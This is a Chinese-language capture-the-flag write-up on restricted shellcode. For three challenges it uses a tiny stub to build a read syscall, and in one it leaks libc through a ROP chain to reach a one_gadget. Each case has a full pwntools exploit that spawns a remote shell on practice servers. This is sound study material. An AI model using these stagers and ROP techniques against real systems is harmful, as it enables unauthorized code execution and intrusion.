有时shellcode受限,最好的方法一般就是勉强的凑出sys read系统调用来输入shellcode主体。下面从几个题来加深理解。
starctf_2019_babyshell 现在shellcode字节允许的范围在表内
我们直接用IDA强制转为汇编,我们发现pop rdx、pop rdi、syscall可以用。
而执行shellcode时,正好eax也被设置为0
然后rsi正好也是指向shellcode
因此,read的系统调用所需的都俱全,构造出read系统调用输入shellcode主体即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *context(os='linux' ,arch='amd64' ) sh = remote('node3.buuoj.cn' ,25035 ) shellcode = asm('''pop rdi pop rdi pop rdi pop rdi pop rdi pop rdi pop rdi pop rdi pop rdx pop rdi syscall ''' )sh.sendlineafter('give me shellcode, plz:' ,shellcode) sleep(0.5 ) sh.send('a' *0xC + asm(shellcraft.sh())) sh.interactive()
铁人三项(第五赛区)_2018_seven 限制7字节shellcode
并且执行到我们的shellcode时,rsp已经调整,寄存器也基本清空
由于栈调试,栈里没有合适的数据
此时,唯一的办法是先rsp指向的地方进行输入。然而7字节也算不够jmp rsp的。最多到syscall。由于开启了随机化,因此rsp和rip值哪个大是不确定的,当rsp在rip上方的时候,通过read,就可以覆盖到rip所指向的内存,覆盖为shellcode。因此,只需要多次尝试,总有一次rsp在rip上方附近的时候,就可以成功在rip后面的位置写入主体shellcode。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *context(os='linux' ,arch='amd64' ) sh = remote('node3.buuoj.cn' ,29741 ) shellcode = asm('''push rsp pop rsi mov edx,esi syscall ''' )sh.sendafter('Show me your shellcode:' ,shellcode) payload = '\x00' *0xB36 + asm(shellcraft.sh()) sleep(0.1 ) sh.sendline(payload) sh.interactive()
鹏城杯_2018_treasure 通过构造shellcode,向栈里布置rop链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from pwn import *context(os='linux' ,arch='amd64' ) sh = remote('node3.buuoj.cn' ,29793 ) libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so' ) elf = ELF('./2018_treasure' ) read_plt = elf.plt['read' ] puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] vuln_addr = 0x00000000004009BA pop_rdi = 0x0000000000400b83 pop_rsi = 0x0000000000400b81 sh.sendlineafter("will you continue?(enter 'n' to quit) :" ,'Y' ) shellcode = asm('''push rsp pop rsi mov edx,esi syscall ret ''' )sh.sendafter('start!!!!' ,shellcode) rop = p64(pop_rdi) + p64(puts_got) + p64(puts_plt) rop += p64(vuln_addr) sleep(0.2 ) sh.send(rop) puts_addr = u64(sh.recv(6 ).ljust(8 ,'\x00' )) libc_base = puts_addr - libc.sym['puts' ] one_gadget_addr = libc_base + 0x4f322 sh.sendlineafter("will you continue?(enter 'n' to quit) :" ,'Y' ) shellcode = asm('''push rsp pop rsi mov edx,esi syscall ret ''' )sh.sendafter('start!!!!' ,shellcode) sleep(0.2 ) payload = p64(one_gadget_addr) + '\x00' *0x50 sh.send(payload) sh.interactive()
因此,对于一些受限的shellcode,我们最好的办法是构造read系统调用。